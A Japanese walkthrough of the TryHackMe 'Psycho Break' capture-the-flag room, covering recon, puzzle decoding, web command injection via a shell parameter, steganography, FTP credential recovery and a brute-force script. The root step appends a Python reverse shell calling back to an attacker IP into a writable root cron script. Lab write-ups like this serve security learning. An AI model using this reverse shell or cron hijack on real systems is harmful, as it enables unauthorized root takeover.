【TryHackMe】Psycho Break：Walkthrough

# 概要

TryHackMe「Psycho Break」のWalkthroughです。

https://tryhackme.com/r/room/psychobreak

# Task1

## **Q2**.*How many ports are open?*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A -p- 10.10.246.43 -oN nmap_result
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.5a
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 44:2f:fb:3b:f3:95:c3:c6:df:31:d6:e0:9e:99:92:42 (RSA)
|   256 92:24:36:91:7a:db:62:d2:b9:bb:43:eb:58:9b:50:14 (ECDSA)
|_  256 34:04:df:13:54:21:8d:37:7f:f8:0a:65:93:47:75:d0 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome To Becon Mental Hospital
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|21|ftp|ProFTPD 1.3.5a|
|22|ssh|OpenSSH 7.2p2|
|80|http|Apache httpd 2.4.18|

**A**.**3**

## **Q3**.*What is the operating system that runs on the target machine?*

ポートスキャンの結果からOSも分かりました。

**A**.**ubuntu**

# Task2

## **Q1**.*Key to the looker room*

`80`番ポートにアクセスします。

![index.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/6b0b3345-594b-2591-79a9-4832eb900c73.jpeg)

ソースコードのコメントアウトから`/sadistRoom`パスを発見しました。

```
<!-- Sebastian sees a path through the darkness which leads to a room => /sadistRoom -->
```

![sadist room.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b02fba25-e484-92e8-fa91-877c40265c3b.jpeg)

Locker Roomの鍵を発見できました。

![get key to locker room.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/5ef92ec0-040e-5188-efff-5045a434712f.jpeg)

**A**.**532219a04ab7a02b56faafbec1a4c1ea**

## **Q2**.*Key to access the map*

Locker Roomへのリンクが表示されました。

![login locker room.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/72c62519-958d-5954-3254-17986443ab6b.jpeg)

キーを入力すると`/lockerRoom`へ遷移しました。

![locker room.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d20c314d-d56f-d587-9c08-0559ce019874.jpeg)

`Tizmg_nv_zxxvhh_gl_gsv_nzk_kovzhv`という文字列を得られました。

暗号の種類を調べると`アトバシュ暗号`の可能性が出てきました。

![cypher anal.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d8945a5f-8f43-42bf-2fd1-6306bba3cd6b.jpeg)

https://line-segment.seesaa.net/article/450135591.html

試しにアトバシュ暗号の復号を試みると成功しました。

![decrypt atbash cypher.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/61fe6b3e-2d27-a758-58ed-ac5087d7940e.jpeg)

**A**.**Grant_me_access_to_the_map_please**

## **Q3**.*The Keeper Key*

マップページへのリンクがあるのでクリックすると鍵を求められました。

![map php.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/aaee2de2-9a30-7f67-30d0-e48a3c28faa0.jpeg)

先ほど復号した文字列を入力するとリンクが表示されました。

![map list.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ec7c6ae4-4acc-01cc-9c62-e48b14dc1714.jpeg)

`/SafeHeaven`配下のディレクトリスキャンをすると`/SafeHeaven/keeper`パスを発見しました。

```
$ gobuster dir -u http://10.10.244.67/SafeHeaven -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,js -t 100
/keeper               (Status: 301) [Size: 324] [--> http://10.10.244.67/SafeHeaven/keeper/]
```

![keeper.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/73df2f35-c5e2-51de-3ac9-84c33bd92bb2.jpeg)

`Escape Keeper`ボタンをクリックすると新しいページに遷移しました。

![螺旋階段.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/cbcfa712-5f20-07e8-7992-4d8275e1277d.jpeg)

画像の場所をこたえるようなので画像検索すると`St. Augustine lighthouse`だと分かりました。

![got keeper key.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/0ea9ce38-3ec1-ba06-5925-a4ab6ab12749.jpeg)

**A**.**48ee41458eb0b43bf82b986cecf3af01**

## **Q4**.*What is the filename of the text file (without the file extension)*

**Hint**.*Escape from Laura to find it*

`/abandonedRoom`にアクセスし、入手した`48ee41458eb0b43bf82b986cecf3af01`を入力します。

![access abandoned room.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/fd44257a-1fbd-a32f-4cc8-e8ca0fc709e6.jpeg)

`Go Further`ボタンから新しいページに遷移します。

![run run.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/242f87fc-6829-6c47-c13c-41366634b181.jpeg)

ページソースのコメントアウトから`shell`が使用できそうだと推測しました。

```
<!-- There is something called "shell" on current page maybe that'll help you to get out of here !!!-->
```

`herecomeslara.php?shell=ls`のようなリクエストを送信するとディレクトリのファイルを表示できました。

![shell.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/cdb3bd70-3031-3d50-7709-c603613f175b.jpeg)

`herecomeslara.php?shell=ls ..`とすることで一つ上の階層のディレクトリも表示できました。

![got hash.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/8b30d49b-f589-51e2-aa2e-ba54b07f0001.jpeg)

`/abandonedRoom/680e89809965ec41e64dc7e447f175ab/`にアクセスし、テキストファイルをZIPファイルを入手しました。

![t1q4 hash dir.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/5cddb4aa-31d7-4633-9ac7-872b80788d21.jpeg)

**A**.**you_made_it**

# Task3

## **Q1**.*Who is locked up in the cell?*

`helpme.zip`を取得します。

```
$ wget http://10.10.244.67/abandonedRoom/680e89809965ec41e64dc7e447f175ab/helpme.zip
```

解凍します。

```
$ unzip helpme.zip                         
Archive:  helpme.zip
  inflating: helpme.txt              
  inflating: Table.jpg
```

`helpme.txt`の内容から答えがわかりました。

```helpme.txt
From Joseph,

Who ever sees this message "HELP Me". Ruvik locked me up in this cell. Get the key on the table and unlock this cell. I'll tell you what happened when I am out of 
this cell.
```

**A**.**joseph**

## **Q2**.*There is something weird with the .wav file. What does it say?*

`helpme.zip`の中にあった、`Table.jpg`に目を付けます。
マジックナンバーからZIPファイルの可能性が高いです。

![PK.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c37819fb-1072-3bbf-fab2-4821aa0c5abb.jpeg)

拡張子を`Table.zip`にし、解凍すると`key.wav`ファイルを得られました。

```
$ unzip Table.zip 
Archive:  Table.zip
  inflating: Joseph_Oda.jpg          
  inflating: key.wav
```

`key.wav`ファイルを開くとモールス信号になっています。
下記サイトで`key.wav`ファイルを解析すると、文字列が分かりました。

https://morsecode.world/international/decoder/audio-decoder-adaptive.html

**A**.**SHOWME**

## **Q3**.*What is the FTP Username*

`Table.zip`から得た、`Joseph_Oda.jpg`に注目します。
`Password: SHOWME`でステガノグラフィーを解くと、テキストファイルを入手しました。

```
$ steghide extract -sf Joseph_Oda.jpg
Enter passphrase: 
wrote extracted data to "thankyou.txt".
```

`thankyou.txt`からFTPのクレデンシャル情報が分かりました。

```thankyou.txt
From joseph,

Thank you so much for freeing me out of this cell. Ruvik is nor good, he told me that his going to kill sebastian and next would be me. You got to help 
Sebastian ... I think you might find Sebastian at the Victoriano Estate. This note I managed to grab from Ruvik might help you get inn to the Victoriano Estate. 
But for some reason there is my name listed on the note which I don't have a clue.

           --------------------------------------------
        //                                              \\
        ||      (NOTE) FTP Details                      ||
        ||      ==================                      ||
        ||                                              ||
        ||      USER : joseph                           ||
        ||      PASSWORD : intotheterror445             ||
        ||                                              ||
        \\                                              //
           --------------------------------------------


Good luck, Be carefull !!!
```

**A**.**joseph**

## **Q4**.*What is the FTP User Password*

**A**.**intotheterror445**

# Task4

## **Q1**.*The key used by the program*

FTPにログインします。

```
$ ftp 10.10.244.67          
Connected to 10.10.244.67.
220 ProFTPD 1.3.5a Server (Debian) [::ffff:10.10.244.67]
Name (10.10.244.67:kali): joseph
331 Password required for joseph
Password: 
230 User joseph logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

2つのファイルを発見したのでダウンロードします。

```
ftp> ls
229 Entering Extended Passive Mode (|||44732|)
150 Opening ASCII mode data connection for file list
-rwxr-xr-x   1 joseph   joseph   11641688 Aug 13  2020 program
-rw-r--r--   1 joseph   joseph        974 Aug 13  2020 random.dic
```

```
ftp> prompt
Interactive mode off.
ftp> mget *
```

`program`を実行すると引数にワードが必要で、`random.dic`の名前を判定できそうです。

```
$ ./program 
[+] Usage

./program <word>
```

```
$ ./program james
james => Incorrect
```

引数を総当たりするコードを書きました。

```brute.py
import subprocess

with open('random.dic') as f:
    for word in f:
        print(word.rstrip('\n'))
        w = word.rstrip('\n')
        result = subprocess.run(f"/home/kali/Psycho-Break/program {w}",shell=True)
        print(result)
```

実行すると`kidman`が一致しました。

```
kidman
kidman => Correct

Well Done !!!
Decode This => 55 444 3 6 2 66 7777 7 2 7777 7777 9 666 777 3 444 7777 7777 666 7777 8 777 2 66 4 33
```

**A**.**kidman**

## **Q2**.*What do the crazy long numbers mean when there decrypted.*

得られた数字がどの暗号か解析するとマルチタップを利用した暗号だと分かりました。

![T4Q2 cypher analyz.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e9f4dd1a-01f4-c0db-90ff-340cefd11f26.jpeg)

https://en.wikipedia.org/wiki/Multi-tap

暗号を復号し、文字列を特定できました。

![sms dec.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/2af578e4-cb69-0250-f4b8-6cb205a704f6.jpeg)

**A**.**KIDMANSPASSWORDISSOSTRANGE**

# Task5

## **Q1**.*user.txt*

`Username: kidman`,`Password: KIDMANSPASSWORDISSOSTRANGE`でSSHにログインします。

```
$ ssh kidman@10.10.51.240
kidman@evilwithin:~$
```

`/home/kidman/user.txt`からユーザーフラグを入手できました。

```/home/kidman/user.txt
4C72A4EF8E6FED69C72B4D58431C4254
```

**A**.**4C72A4EF8E6FED69C72B4D58431C4254**

## **Q2**.*root.txt*

Cronジョブを確認します。

```
$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

*/2 * * * * root python3 /var/.the_eye_of_ruvik.py
```

`/var/.the_eye_of_ruvik.py`の内容を確認します。

```/var/.the_eye_of_ruvik.py
#!/usr/bin/python3

import subprocess
import random

stuff = ["I am watching you.","No one can hide from me.","Ruvik ...","No one shall hide from me","No one can escape from me"]
sentence = "".join(random.sample(stuff,1))
subprocess.call("echo %s > /home/kidman/.the_eye.txt"%(sentence),shell=True)
```

`/var/.the_eye_of_ruvik.py`の権限を確認すると編集権限があります。

```
$ ls -la /var/.the_eye_of_ruvik.py
-rwxr-xrw- 1 root root 300 Aug 14  2020 /var/.the_eye_of_ruvik.py
```

リバースシェルのコードを追加しました。

```/var/.the_eye_of_ruvik.py
#!/usr/bin/python3

import subprocess
import random

stuff = ["I am watching you.","No one can hide from me.","Ruvik ...","No one shall hide from me","No one can escape from me"]
sentence = "".join(random.sample(stuff,1))
subprocess.call("echo %s > /home/kidman/.the_eye.txt"%(sentence),shell=True)

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.6.55.144",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("bash")
```

Netcatでリッスンしているとrootでシェルを張れました。

```
$ nc -lvnp 1234           
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.51.240] 49246
root@evilwithin:~# whoami
whoami
root
```

`/root/root.txt`からルートフラグを入手できます。

```/root/root.txt
BA33BDF5B8A3BFC431322F7D13F3361E
```

**A**.**BA33BDF5B8A3BFC431322F7D13F3361E**

## **Q3**.*[Bonus] Defeat Ruvik*

**Hint**.*Delete user Ruvik account.*

root権限を持っているのでそのままユーザーアカウントを削除します。

```
# userdel -r ruvik
```